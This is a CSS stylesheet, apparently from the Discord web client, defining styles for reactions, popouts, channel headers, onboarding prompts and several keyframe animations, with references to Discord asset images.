.emoji-236_Ij { padding: 6px; width: 1rem; height: 1rem; min-width: auto; min-height: auto; vertical-align: middle; object-fit: contain; }

.emojiText-271HfV { vertical-align: -3px; display: inline-block; }

.spinner-j8Y2Rh { width: 100%; height: 440px; }

.spinnerMore-3kGpfg { width: 100%; height: 44px; }

.reactor-3UBcOI { box-sizing: border-box; height: 44px; margin-left: 10px; margin-right: 2px; text-overflow: ellipsis; white-space: nowrap; overflow: hidden; }

.reactorDefault-1IUqMZ, .reactorFinal-3Q2B0w { }

.name-1ug6d4 { text-overflow: ellipsis; display: flex; -webkit-box-flex: 1; flex: 1 1 0%; overflow: hidden; user-select: text; }

.nickname-miBZxb { line-height: 17px; }

.username-Af3M5Y { font-weight: 500; }

.tagFaded-WP86yt { padding-left: 6px; opacity: 0.6; }

.discriminator-byOsvi { font-size: 12px; align-self: flex-end; }

.remove-3V-yj8 { cursor: pointer; display: none; font-size: 16px; opacity: 0.3; padding: 3px; border-radius: 3px; }

.remove-3V-yj8:hover { opacity: 1; }

.reactor-3UBcOI:hover .remove-3V-yj8 { display: inline-block; }

.theme-dark .container-1If-HZ, .theme-dark .reactors-Blmlhw { background-color: rgb(54, 57, 63); }

.theme-dark .remove-3V-yj8 { color: rgb(185, 187, 190); }

.theme-dark .remove-3V-yj8:hover { background-color: rgba(185, 187, 190, 0.1); }

.theme-dark .scroller-1-nKid { background: rgb(47, 49, 54); }

.theme-dark .reactionSelected-1pqISm { background-color: rgba(79, 84, 92, 0.3); }

.theme-dark .reactionDefault-GBA58K:hover { background-color: rgba(79, 84, 92, 0.1); }

.theme-dark .reactorDefault-1IUqMZ { box-shadow: rgba(79, 84, 92, 0.3) 0px -1px 0px inset; }

.theme-dark .discriminator-byOsvi { color: rgb(114, 118, 125); }

.theme-light .container-1If-HZ, .theme-light .reactors-Blmlhw { background-color: rgb(255, 255, 255); }

.theme-light .remove-3V-yj8 { color: rgb(114, 118, 125); }

.theme-light .remove-3V-yj8:hover { background-color: rgba(114, 118, 125, 0.1); }

.theme-light .scroller-1-nKid { }

.theme-light .reactionSelected-1pqISm { background-color: rgb(220, 221, 222); }

.theme-light .reactionDefault-GBA58K:hover { background-color: rgba(220, 221, 222, 0.3); }

.theme-light .reactorDefault-1IUqMZ { box-shadow: rgba(185, 187, 190, 0.3) 0px -1px 0px inset; }

.theme-light .discriminator-byOsvi { color: rgb(185, 187, 190); }

.container-3npvBV { position: absolute; right: 0px; z-index: 1; top: -25px; padding: 0px 14px 0px 32px; }

.isHeader-2dII4U { top: -16px; }

.icon-3Gkjwa { width: 20px; height: 20px; display: block; object-fit: contain; }

.popout-6p6fkZ { box-sizing: border-box; width: 240px; padding: 24px 16px; border-radius: 8px; overflow: hidden; line-height: 20px; text-align: center; }

.staffBadge-3NsEoM { background-image: url("https://discord.com/assets/6ff26e2f51845db3ea3007037a43b167.svg"); background-repeat: no-repeat; background-size: contain; background-position: 50% center; width: 8px; height: 8px; }

.nameWrapper-2D9_np { margin-top: 16px; }

.header-NC1A_A { margin-left: 8px; }

.description-1u26oc { margin-top: 8px; }

.avatar-Ylrxl9 { width: 100px; height: 100px; border-radius: 16px; }

.theme-dark .popout-6p6fkZ { background-color: rgb(32, 34, 37); box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 10px 0px, rgba(32, 34, 37, 0.6) 0px 0px 0px 1px; }

.theme-light .popout-6p6fkZ { background-color: rgb(248, 249, 249); box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 10px 0px, rgba(185, 187, 190, 0.3) 0px 0px 0px 1px; }

.operations-36ENbA { padding: 7px 0px; font-size: 12px; font-weight: 400; text-indent: 0px; color: var(--text-normal); }

.operations-36ENbA > a { color: var(--text-link); transition: all 0.05s ease 0s; text-decoration: none; cursor: pointer; }

.operations-36ENbA > a:hover { text-decoration: underline; }

@media (-webkit-max-device-pixel-ratio: 1) {
  .theme-light .operations-36ENbA { font-weight: 500; }
}

.redactedMessages-3YFf2S { display: flex; padding: 16px; margin: 18px 18px 0px; box-shadow: 0 8px 16px var(--elevation-high); border-radius: 5px; }

.redactedMessageIcon-2G2ly3 { margin: auto 15px auto 0px; }

.redactedMessageText-1ywx9O { color: var(--header-primary); margin: auto 0px; }

.showRedactedMessagesButton-2wX9GE { font-size: 16px; margin-left: 4px; }

.avatar-3z61ij { border-radius: 50%; }

.avatar-3z61ij, .avatarMask-2SqW1n { width: 24px; height: 24px; }

.avatarMask-2SqW1n { margin-right: -4px; }

.avatarContainer-3cVycu { margin-right: 8px; }

.avatarContainer-3cVycu, .container-1fnzfI { display: flex; }

.container-1fnzfI { margin-top: 16px; -webkit-box-align: center; align-items: center; }

.divider-3yU4s2 { width: 4px; height: 4px; margin: 0px 16px; border-radius: 50%; background-color: var(--background-accent); }

.action-26D6fg { margin-right: 8px; }

.mutualGuilds-3ESEpu { cursor: pointer; color: var(--interactive-normal); }

.mutualGuilds-3ESEpu:hover { color: var(--interactive-hover); }

.mutualGuilds-3ESEpu:active { color: var(--interactive-active); }

.container-3RCQyg { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-flex: 0; flex: 0 0 auto; -webkit-box-pack: end; justify-content: flex-end; margin: 16px; }

.header-3uLluP { font-weight: 700; margin: 8px 0px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }

.description-1sDbzZ { color: var(--header-secondary); }

.emptyChannelIcon-cc932w { width: 68px; height: 68px; margin-top: 16px; border-radius: 50%; background-color: var(--background-accent); background-image: url("https://discord.com/assets/750a8ead5eca8745b14658a4ba5b0128.svg"); background-repeat: no-repeat; background-position: 50% center; }

.emptyChannelIcon-cc932w.locked-1jf7pL { background-image: url("https://discord.com/assets/70ef03e1dff821c96d373e035a0c7099.svg"); }

.emptyChannelIcon-cc932w.voiceChat-29AU2q { background-image: url("https://discord.com/assets/0f152ba7085db988df2a28481e286102.svg"); }

.role-1P70N6 { display: inline-flex; -webkit-box-align: center; align-items: center; width: auto; padding: 4px 8px; font-size: 12px; line-height: 16px; color: var(--interactive-active); background-color: var(--background-secondary-alt); border-radius: 4px; }

.roleColor-fHISxl { display: inline-block; height: 8px; width: 8px; margin-right: 4px; border-radius: 50%; }

.button-Y95Muf { display: inline-flex; }

.role-3UN8jj:hover { background-color: var(--background-modifier-hover); }

.removeRole-qIOFzq { margin-left: 6px; }

.removeRoleIcon-3cxu5j { fill: var(--interactive-normal); width: 6px; height: 6px; }

.role-3UN8jj:hover .removeRoleIcon-3cxu5j { fill: var(--interactive-hover); }

.button-18p_f6 { color: var(--text-link); margin-right: 8px; padding: 6px; border-radius: 4px; }

.button-18p_f6:hover { background-color: var(--background-modifier-hover); }

.buttonIcon-3PejT5 { margin-right: 6px; }

.popoutWrapper-2iuzmw { position: relative; left: -30px; width: 200px; display: flex; max-height: 40vh; }

.scroller-12C_OJ { border-radius: 4px; padding: 8px 16px; background-color: var(--background-floating); }

.avatars-1uE2Po { display: flex; -webkit-box-flex: 0; flex-grow: 0; -webkit-box-align: center; align-items: center; position: relative; }

.avatar-Nt40nT { margin-left: -2px; -webkit-mask: url("https://discord.com/assets/495e7ca1850af3ddc8bc130617549480.svg") 0% 0% / 100%; mask: url("https://discord.com/assets/495e7ca1850af3ddc8bc130617549480.svg"); mask-type: alpha; }

.avatar-Nt40nT:first-child { margin-left: 0px; }

.avatar-Nt40nT:last-child { -webkit-mask: none; mask: none; }

.overflow-zcSaC_ { display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; padding: 0px 8px; font-size: 12px; line-height: 16px; width: auto; height: 24px; border-radius: 16px; background-color: var(--background-tertiary); color: var(--interactive-normal); }

.members-2iaVuN { flex-wrap: wrap; margin-top: 16px; }

.avatars-kJA12W, .members-2iaVuN { display: flex; }

.avatars-kJA12W { -webkit-box-align: center; align-items: center; margin-right: 12px; margin-bottom: 6px; }

.singleUserName-3vezsa { margin-left: 8px; }

.role-78i2xt { margin-right: 6px; margin-bottom: 6px; }

.role-78i2xt.last-2Vmb4e { margin-right: 12px; }

.editRoleButton-3CjAQv { margin-bottom: 6px; }

.editRoleButtonInner-1eZ2Nf { display: flex; -webkit-box-align: center; align-items: center; height: 16px; color: var(--interactive-normal); }

.channelSettingButtons-23CIRg { margin-top: 16px; }

.buttonContainer-2GVjL_ { margin-top: 8px; }

.showHistory--D_01w { margin-top: 16px; width: max-content; }

.iconWrapper-L3hQuc { width: 64px; height: 64px; margin-top: 16px; border-radius: 50%; background-color: var(--background-accent); display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.icon-3kbkI0 { color: rgb(255, 255, 255); width: 32px; height: 32px; }

.subtitle-1pSyEh { margin-bottom: 2px; }

.threadCreatorName-2hRnz- { color: var(--header-primary); font-weight: 600; }

.threadCreatorName-2hRnz-:hover { cursor: pointer; text-decoration: underline; }

.autoArchiveDuration-3TU5Qi { color: var(--header-primary); }

.textDivider-2fG1vS { display: inline-block; margin: 0px 8px; width: 4px; height: 4px; border-radius: 50%; background-color: var(--background-accent); vertical-align: middle; }

.container-3zqIcM { padding: 16px 16px 0px; }

.container-3zqIcM, .inner-3GZ54g { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; }

.inner-3GZ54g { max-width: 400px; }

.titleName-3-Lp3Z { text-align: center; font-weight: 700; }

.titleName-3-Lp3Z p { margin: 0px; }

.subtitle-2UIIw0 { margin-top: 8px; margin-bottom: 12px; text-align: center; }

.subtitle-2UIIw0.noChildren-1pQQQE { margin-bottom: 0px; }

.cardWrapper-2R6-SX { align-self: stretch; }

.card-3RzMcx { margin-top: 8px; padding: 16px; border-radius: 8px; background-color: var(--background-secondary-alt); display: flex; -webkit-box-align: center; align-items: center; align-self: stretch; cursor: pointer; transition: background-color 0.1s ease-in-out 0s; }

.card-3RzMcx:hover { background-color: var(--background-modifier-hover); }

.completed-13TrxW .cardHeader-2Wz67Q, .completed-13TrxW .icon-2ou77m, .completed-13TrxW .playCircleWrapper-2wNttI { opacity: 0.6; }

.icon-2ou77m { width: 40px; height: 40px; min-width: 40px; min-height: 40px; background-size: contain; background-repeat: no-repeat; }

.playCircleWrapper-2wNttI { background-color: var(--brand-experiment); border-radius: 50%; display: flex; width: 24px; height: 24px; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; padding: 6px 5px 6px 7px; margin: 2px; }

.playCircleIcon-274lgc { width: 26px; height: 26px; }

.cardHeader-2Wz67Q { margin-left: 16px; -webkit-box-flex: 1; flex-grow: 1; font-weight: 600; }

.checkmark-3rush5 { padding: 4px; border-radius: 50%; background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); color: rgb(255, 255, 255); }

.checkmark-3rush5.animate-_rBhnd { animation: 0.8s ease 0s 1 normal none running completed-13TrxW; }

@-webkit-keyframes completed-13TrxW { 
  0% { transform: scale(0.8); background-color: var(--interactive-muted); }
  20% { box-shadow: 0 0 0 0 hsla(139,calc(var(--saturation-factor, 1)*47.3%),43.9%,0.5); }
  60% { transform: scale(1.2); background-color: hsl(139,calc(var(--saturation-factor, 1)*85.6%),64.5%); }
  100% { transform: scale(1); box-shadow: 0 0 0 8px hsla(139,calc(var(--saturation-factor, 1)*47.3%),43.9%,0); }
}

@keyframes completed-13TrxW { 
  0% { transform: scale(0.8); background-color: var(--interactive-muted); }
  20% { box-shadow: 0 0 0 0 hsla(139,calc(var(--saturation-factor, 1)*47.3%),43.9%,0.5); }
  60% { transform: scale(1.2); background-color: hsl(139,calc(var(--saturation-factor, 1)*85.6%),64.5%); }
  100% { transform: scale(1); box-shadow: 0 0 0 8px hsla(139,calc(var(--saturation-factor, 1)*47.3%),43.9%,0); }
}

.arrow-3bRNiS { justify-self: flex-end; color: var(--interactive-normal); }

.expanded-13sWhZ { background-color: var(--background-message-hover); }

.blockedSystemMessage-2Rk1ek { font-size: 1rem; line-height: 1.375rem; user-select: none; text-indent: 0px; }

.blockedIcon-IrnkVA { width: 1rem; height: 1rem; display: block; color: var(--text-muted); }

.container-3eemR3:hover .blockedIcon-IrnkVA { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.blockedMessageText-1fRjos { color: var(--header-secondary); }

.blockedAction-2ZyU8z { color: var(--text-muted); cursor: pointer; }

.blockedSystemMessage-2Rk1ek:hover .blockedAction-2ZyU8z { color: var(--text-link); }

.blockedAction-2ZyU8z:hover { text-decoration: underline; }

.containerExpanded-3MGTRr { margin: 20px; width: 232px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; }

.button-3QRWIM { width: 100%; margin-top: 24px; }

.containerCompact-18xElE { margin: 20px 16px 0px; text-align: center; }

.compactButton-195WSV, .compactButtonDisabled-1WXLm6, .containerCompact-18xElE { width: fit-content; }

.compactButton-195WSV, .compactButtonDisabled-1WXLm6 { padding: 12px; display: flex; -webkit-box-align: center; align-items: center; background-color: var(--background-tertiary); color: var(--header-primary); border-radius: 32px; }

.compactButton-195WSV:hover { cursor: pointer; background-color: var(--background-secondary-alt); }

.compactButtonDisabled-1WXLm6 { cursor: not-allowed; opacity: 0.6; }

.text-3iVxFB { margin-inline: 8px; font-weight: 500; }

.error-2FUaRj { margin-top: 8px; }

.messagesWrapper-1sRNjr { position: relative; -webkit-box-flex: 1; flex: 1 1 auto; min-height: 0px; min-width: 0px; z-index: 0; }

.messagesWrapper-1sRNjr, .scrollerContent-WzeG7R { display: flex; }

.scrollerContent-WzeG7R { overflow-anchor: none; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: end; justify-content: flex-end; -webkit-box-align: stretch; align-items: stretch; min-height: 100%; }

.scroller-2LSbBU { position: absolute; inset: 0px; }

.scroller-2LSbBU::-webkit-scrollbar-track { margin-bottom: 8px; }

.overlay .scroller-2LSbBU::-webkit-scrollbar-track { margin-bottom: 0px; }

.scrollerInner-2YIMLh { min-height: 0px; }

.scrollerInner-2YIMLh:focus { outline: none; }

.scrollerSpacer-avRLaA { display: block; height: 30px; width: 1px; -webkit-box-flex: 0; flex: 0 0 auto; pointer-events: none; }

.scrollerSpacer-avRLaA.empty-6MGttt { height: 16px; }

.navigationDescription-3hiGKr { display: none; }

.overlay .scroller-2LSbBU::after { height: 20px; }

.messages-2A2jgy { margin: 0px; overflow-x: hidden; background-color: var(--background-primary); contain: size; }

.scrollerWrap-3tDLUn { overflow: hidden; height: auto; }

.divider-2iuYRE + .messageGroupBlocked-18d86s { margin-top: 12px; }

.highlight { background: hsla(38,calc(var(--saturation-factor, 1)*95.7%),54.1%,0.3); }

.chatHeaderBar-4vZS1x { -webkit-box-align: center; align-items: center; background-color: var(--background-secondary-alt); display: flex; -webkit-box-pack: justify; justify-content: space-between; padding: 8px 16px; }

.narrow-1f-G-z { padding: 12px 16px; }

.chatHeaderBarText-1_O_1M { -webkit-box-flex: 1; flex: 1 1 0%; }

.narrow-1f-G-z .nudgeBarText-H913yL { max-width: 325px; }

.chatHeaderBarButton-UiIh3z { -webkit-box-flex: 0; flex: 0 0 auto; margin-left: 16px; }

.nudgeAction-3AY7i2:hover { cursor: pointer; text-decoration: underline; }

.wrapper-39oAo3 { position: relative; z-index: 1; border-radius: 5px; margin-bottom: 24px; padding: 16px 0px; width: 100%; background-color: var(--background-tertiary); }

.content-c_0cLD, .wrapper-39oAo3 { display: flex; -webkit-box-pack: justify; justify-content: space-between; -webkit-box-align: center; align-items: center; height: 20px; }

.content-c_0cLD { margin-left: 16px; }

.image-3XsqGc { height: 40px; margin-right: 12px; margin-bottom: -8px; align-self: flex-end; }

.animation-10aT2_ { height: 50px; width: 50px; margin-top: 4px; margin-left: -8px; margin-right: 4px; align-self: center; display: flex; place-content: center; -webkit-box-pack: center; }

.text-2yjo70 { max-height: 40px; }

.text-2yjo70, .title-FVgbgL { overflow: hidden; }

.title-FVgbgL { display: -webkit-box; -webkit-line-clamp: 2; -webkit-box-orient: vertical; }

.button-1YxJv4 { flex-shrink: 0; margin-left: 12px; }

.buttonContainer-3AU1Ij { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; margin-right: 12px; }

.countdown-1saXFt { color: var(--text-muted); margin-right: 16px; }

.animationLeft-fJlcCc { position: absolute; height: auto; width: 160px; left: -130px; top: -24px; }

.animationMiddle-ZfETtz { position: absolute; height: 288px; width: 295px; top: -200px; left: 60px; }

.animationRight-dw5zDz { position: absolute; height: auto; width: 140px; top: -60px; right: -75px; }

.animationContainer-WR_1ku { width: 440px; position: relative; }

.header-2PVxw- { margin: 108px 12px 12px 8px; text-align: center; }

.container-OhOeuR { margin-left: 24px; margin-right: 24px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.button-152dkf { margin: 24px; }

.modal-SN2Box { display: flex; -webkit-box-align: center; align-items: center; text-align: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; box-sizing: border-box; width: 400px; padding: 32px; overflow: visible; }

.followSuccessHeader-1Lfr8S { font-weight: 700; }

.image-1XD_iw { width: 280px; margin-top: -96px; margin-bottom: 0px; }

.body-2EgyBy { margin: 16px 0px 32px; font-weight: 500; }

.root-3izi7w { overflow: visible; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.bottomMargin-3rKQFe { margin-bottom: 16px; }

.topMargin-BmjSYK { margin-top: 8px; }

.body-1nWvdt { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; text-align: center; }

.body-1nWvdt, .header-1pGpFt { display: flex; -webkit-box-align: center; align-items: center; }

.header-1pGpFt { background-color: var(--background-tertiary); background-size: cover; -webkit-box-pack: center; justify-content: center; border-top-right-radius: 4px; border-top-left-radius: 4px; }

.formMargin-f9sZDL { margin-bottom: 24px; }

.noScroll-38vYzX { overflow: visible !important; }

.content-wjJP6h { z-index: 2; padding-top: 32px; font-weight: 500; }

.guildOption-dBe3l5 { display: flex; -webkit-box-align: center; align-items: center; font-weight: 500; }

.icon-n8WYF4 { display: block; }

.channelContainer-1x3D6I { background-color: var(--background-secondary); border-radius: 4px; margin-left: 16px; max-width: 320px; overflow: hidden; }

.channel-2PJTLY { background-color: var(--background-modifier-selected); display: flex; -webkit-box-align: center; align-items: center; padding: 8px; }

.channelName-2HcGlq { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; font-weight: 500; }

.channelIcon-3ci4bV { margin-right: 8px; margin-left: 2px; min-width: 16px; color: var(--text-muted); }

.theme-dark .header-1pGpFt { background-image: url("https://discord.com/assets/579816de0b3fa8045cb75173f0ce1c90.svg"); }

.theme-light .header-1pGpFt { background-image: url("https://discord.com/assets/eb160ae7fd249c898814e56872de0fcb.svg"); }

.clickableChannelTextArea-390-mS { cursor: pointer; }

.base-gE7OpD { position: absolute; bottom: 1px; left: 16px; right: 16px; height: 24px; font-size: 14px; font-weight: 500; line-height: 24px; resize: none; overflow-y: hidden; display: flex; -webkit-box-align: center; align-items: center; color: var(--text-normal); }

.base-gE7OpD strong { font-weight: 700; }

.base-gE7OpD .text-1y-e8- { display: block; min-width: 0px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; margin-left: 4px; }

.base-gE7OpD .ellipsis-19qdx6 { display: block; margin-left: 9px; }

.base-gE7OpD .cooldownWrapper-3joyFc { display: flex; -webkit-box-align: center; align-items: center; margin-left: auto; white-space: nowrap; overflow: hidden; }

.base-gE7OpD .slowModeIcon-1BPDC_ { display: block; margin-left: 4px; }

.typing-2GQL18 { }

.activityInviteEducation-8C0Czp { opacity: 0; z-index: 1; }

.activityInviteEducationFadeIn-1MAMAO { opacity: 1; }

.activityInviteEducationArrow-3DEpKU { background-repeat: no-repeat; background-size: 12px 10px; display: inline-block; margin: 0px 2px 0px 24px; width: 15px; height: 15px; }

.theme-dark .activityInviteEducationArrow-3DEpKU { background-image: url("https://discord.com/assets/ce73613685f715d326709ec90c1cd741.svg"); }

.theme-light .activityInviteEducationArrow-3DEpKU { background-image: url("https://discord.com/assets/f4e7ce8e56f954f5835783c9bd4ccaeb.svg"); }

.applicationCommandEducation-2jAJ0B { opacity: 0; z-index: 1; display: flex; -webkit-box-align: center; align-items: center; }

.applicationCommandEducationFadeIn-1g7fXy { opacity: 1; }

.applicationCommandEducationPrompt-1IxFoc { white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }

.applicationCommandEducationArrow-1DVDdr { background-size: 12px 10px; margin: 0px 2px 0px 58px; width: 15px; height: 15px; }

.applicationCommandEducationArrow-1DVDdr, .applicationCommandEducationInfo-2QWJXK { background-repeat: no-repeat; display: inline-block; -webkit-box-flex: 0; flex: 0 0 auto; }

.applicationCommandEducationInfo-2QWJXK { background-size: 13px; margin-right: 2px; width: 13px; height: 13px; }

.theme-dark .applicationCommandEducationArrow-1DVDdr { background-image: url("https://discord.com/assets/ce73613685f715d326709ec90c1cd741.svg"); }

.theme-dark .applicationCommandEducationInfo-2QWJXK { background-image: url("https://discord.com/assets/a04f42085864190541e748607e0f217f.svg"); }

.theme-light .applicationCommandEducationArrow-1DVDdr { background-image: url("https://discord.com/assets/f4e7ce8e56f954f5835783c9bd4ccaeb.svg"); }

.theme-light .applicationCommandEducationInfo-2QWJXK { background-image: url("https://discord.com/assets/8aefe065ee9c1974b1b59b450e7e86a4.svg"); }

.content-1nP7fx { box-sizing: border-box; padding: 16px; border-radius: 8px; }

.contentNoMedia-1yP2hn, .contentWithMedia-3YF06_ { }

.contentNarrowWithMedia--qMz0o { width: 280px; }

.contentNarrowNoMedia-Il01H1 { width: 280px; }

.contentWideWithMedia-2q24e5 { width: 300px; }

.contentWideNoMedia-22TIu6 { width: 300px; }

.theme-dark .content-1nP7fx { background-color: rgb(24, 25, 28); }

.theme-dark .leftArrow-fNTiNn::before { border-right-color: rgb(24, 25, 28); }

.theme-dark .rightArrow-1u-p-_::before { border-left-color: rgb(24, 25, 28); }

.theme-dark .contentNarrowNoMedia-Il01H1.topArrow-1B63md::before, .theme-dark .contentWideNoMedia-22TIu6.topArrow-1B63md::before { border-bottom-color: rgb(255, 255, 255); }

.theme-light.content-1nP7fx, .theme-light .content-1nP7fx { background-color: rgb(255, 255, 255); }

.theme-light.contentWithMedia-3YF06_, .theme-light .contentWithMedia-3YF06_ { border: 1px solid rgba(185, 187, 190, 0.3); }

.theme-light.leftArrow-fNTiNn::before, .theme-light .leftArrow-fNTiNn::before { border-right-color: rgb(255, 255, 255); }

.theme-light.rightArrow-1u-p-_::before, .theme-light .rightArrow-1u-p-_::before { border-left-color: rgb(255, 255, 255); }

.theme-light.contentNarrowMedia-W7SHxH.topArrow-1B63md::before, .theme-light .contentNarrowNoMedia-Il01H1.topArrow-1B63md::before, .theme-light.contentWideNoMedia-22TIu6.topArrow-1B63md::before, .theme-light .contentWideNoMedia-22TIu6.topArrow-1B63md::before, .theme-light.topArrow-1B63md::before, .theme-light .topArrow-1B63md::before { border-bottom-color: rgb(255, 255, 255); }

.mediaContainer-1H1Z_r { position: absolute; top: -40px; width: calc(100% - 32px); }

.background-2lsEHp { position: absolute; top: 0px; left: 0px; right: 0px; }

.theme-dark .background-2lsEHp { color: rgb(255, 255, 255); }

.theme-light.background-2lsEHp, .theme-light .background-2lsEHp { color: rgb(0, 0, 0); }

.title-eQ0ZMf { font-size: 16px; line-height: 20px; font-weight: 600; margin-bottom: 4px; }

.titleCenter-2bwbDI { text-align: center; }

.titleLeft-2erkAr { text-align: left; }

.body-2awMwV p, div.body-2awMwV, p.body-2awMwV { font-size: 14px; font-weight: 500; color: var(--header-secondary); line-height: 18px; margin-bottom: 16px; margin-top: 0px; }

strong { font-weight: 600; }

.buttonSkipCenterAlign-2kUfCH, .buttonSkipLeftAlign-2Oe1kC { padding-left: 16px; padding-right: 16px; color: var(--text-muted); }

.buttonSkipCenterAlign-2kUfCH { margin-left: 8px; }

.bodyCenter-1ilK3X { text-align: center; }

.bodyLeft-3Dnrhp { text-align: left; }

.buttonContainer-lZQm0q { margin-top: 16px; }

.popoutRoot-2_6ixn { position: relative; }

.popoutRoot-2_6ixn.arrowAlignmentMiddle-3hjNrc::before, .popoutRoot-2_6ixn.arrowAlignmentTop-1OMEr_::before { border: 8px solid transparent; content: " "; width: 0px; height: 0px; position: absolute; pointer-events: none; }

.popoutRoot-2_6ixn.top-1rb3Cd.arrowAlignmentMiddle-3hjNrc::before, .popoutRoot-2_6ixn.top-1rb3Cd.arrowAlignmentTop-1OMEr_::before { left: 50%; top: 100%; transform: translateX(-50%); border-top-color: rgb(255, 255, 255); }

.popoutRoot-2_6ixn.right-1r4pvL.arrowAlignmentTop-1OMEr_::before { top: 10px; right: 100%; border-right-color: rgb(255, 255, 255); }

.popoutRoot-2_6ixn.right-1r4pvL.arrowAlignmentMiddle-3hjNrc::before { top: 50%; right: 100%; margin-top: -16px; border-right-color: rgb(255, 255, 255); }

.popoutRoot-2_6ixn.left-1upd_m.arrowAlignmentTop-1OMEr_::before { top: 10px; left: 100%; border-left-color: rgb(255, 255, 255); }

.popoutRoot-2_6ixn.left-1upd_m.arrowAlignmentMiddle-3hjNrc::before { top: 50%; left: 100%; margin-top: -16px; border-left-color: rgb(255, 255, 255); }

.popoutRoot-2_6ixn.bottom-190V6V.arrowAlignmentMiddle-3hjNrc::before, .popoutRoot-2_6ixn.bottom-190V6V.arrowAlignmentTop-1OMEr_::before { left: 50%; bottom: 100%; transform: translateX(-50%); border-bottom-color: rgb(255, 255, 255); }

.container-2k0FnA { position: relative; top: -10px; }

.container-1bog4s { position: relative; top: 10px; }

.container-om6VJQ { position: relative; }

.personAvatar-2_BWgA { margin-top: 20px; }

.guildAvatar-335csq { margin-top: -38px; margin-left: 193px; }

.illustration-6eULCC { position: absolute; top: 0px; left: 50px; }

.avatarSizeOverride-3xEJPs { width: 60px !important; height: 60px !important; }

.icon-7Z466E { margin: 0px 2px 4px; vertical-align: middle; }

.voiceConversationsTitle-2LSHDw { margin-top: 32px; }

.writingMessagesTitle-3jhgwS { margin-top: 44px; }

.organizeByTopicTitle-301ebv { margin-top: 40px; }

.voiceChannelsTitle-3UxkpI { margin-top: 24px; }

.channelsTitle-1-1-6I { margin-top: 90px; }

.indicator-1afSc8 { position: absolute; z-index: 999; pointer-events: auto; display: flex; }

.animationContainer-C1kDfz { position: relative; width: 36px; height: 36px; transition: opacity 0.2s ease-out 0s; }

.animationContainer-C1kDfz.animating-1Fb05y { opacity: 1; }

.animationContainer-C1kDfz.notAnimating-2EIRej { opacity: 0; }

.top-3fo3zT { position: absolute; background: url("https://discord.com/assets/d54b57e679714330982ff702e8f7f545.svg") 50% center / contain no-repeat; width: 9px; height: 22px; left: 18.5px; top: -10px; }

.top-3fo3zT.animating-1Fb05y { animation: 1.5s ease-in-out 0s infinite normal forwards running exclaim-loop-TJkd9E; }

.top-3fo3zT.notAnimating-2EIRej { animation: 0.2s ease 0s 1 normal forwards running quick-fade-out-3IYyUm; }

.bottom-UE1eOv { position: absolute; background: url("https://discord.com/assets/b48ae9414698d83a5c39784b21a05547.svg") 50% center / contain no-repeat; width: 8px; height: 8px; left: 14px; top: 14px; }

.bottom-UE1eOv.animating-1Fb05y { animation: 1.5s ease-in-out 0s infinite normal forwards running dot-loop-2Y4ENp; }

.bottom-UE1eOv.notAnimating-2EIRej { animation: 0.2s ease 0s 1 normal forwards running quick-fade-out-3IYyUm; }

.innerCircle-2Tsscg { opacity: 0.1; position: absolute; background: url("https://discord.com/assets/e2eb5f84f9f23d1abea5eae9987c0aa0.svg") 50% center / contain no-repeat; width: 30px; height: 30px; top: 3px; left: 3px; }

.innerCircle-2Tsscg.animating-1Fb05y { opacity: 0.1; animation: 1.5s ease 0s infinite normal none running inner-circle-loop-2ptEJN; }

.innerCircle-2Tsscg.animating-1Fb05y.highPriority-2lg-eA { animation: 1.5s ease 0s infinite normal none running inner-circle-loop-high-priority-2YYlba; }

.innerCircle-2Tsscg.notAnimating-2EIRej { animation: 0.2s ease 0s 1 normal forwards running quick-fade-out-3IYyUm; }

.outerCircle-2K0c82 { opacity: 0.1; position: absolute; background: url("https://discord.com/assets/0d04b819030111d1e27214be2bbe326b.svg") 50% center / contain no-repeat; width: 36px; height: 36px; }

.outerCircle-2K0c82.animating-1Fb05y { opacity: 0; animation: 1.5s ease 0s infinite normal none running outer-circle-loop-2tj-Tq; }

.outerCircle-2K0c82.animating-1Fb05y.highPriority-2lg-eA { animation: 1.5s ease 0s infinite normal none running outer-circle-loop-high-priority-26WkDY; }

.outerCircle-2K0c82.notAnimating-2EIRej { animation: 0.2s ease 0s 1 normal forwards running quick-fade-out-3IYyUm; }

@-webkit-keyframes exclaim-loop-TJkd9E { 
  0% { top: -10px; }
  21% { top: -14px; }
  46%, 51% { top: -10px; }
  72% { top: -14px; }
  100% { top: -10px; }
}

@keyframes exclaim-loop-TJkd9E { 
  0% { top: -10px; }
  21% { top: -14px; }
  46%, 51% { top: -10px; }
  72% { top: -14px; }
  100% { top: -10px; }
}

@-webkit-keyframes dot-loop-2Y4ENp { 
  0% { top: 14px; }
  19% { top: 9px; }
  44%, 49% { top: 14px; }
  70% { top: 9px; }
  95%, 100% { top: 14px; }
}

@keyframes dot-loop-2Y4ENp { 
  0% { top: 14px; }
  19% { top: 9px; }
  44%, 49% { top: 14px; }
  70% { top: 9px; }
  95%, 100% { top: 14px; }
}

@-webkit-keyframes inner-circle-loop-2ptEJN { 
  0% { opacity: 0.1; transform: scale(1.1); }
  42% { opacity: 0.25; transform: scale(0.9); }
  100% { opacity: 0.1; transform: scale(1.1); }
}

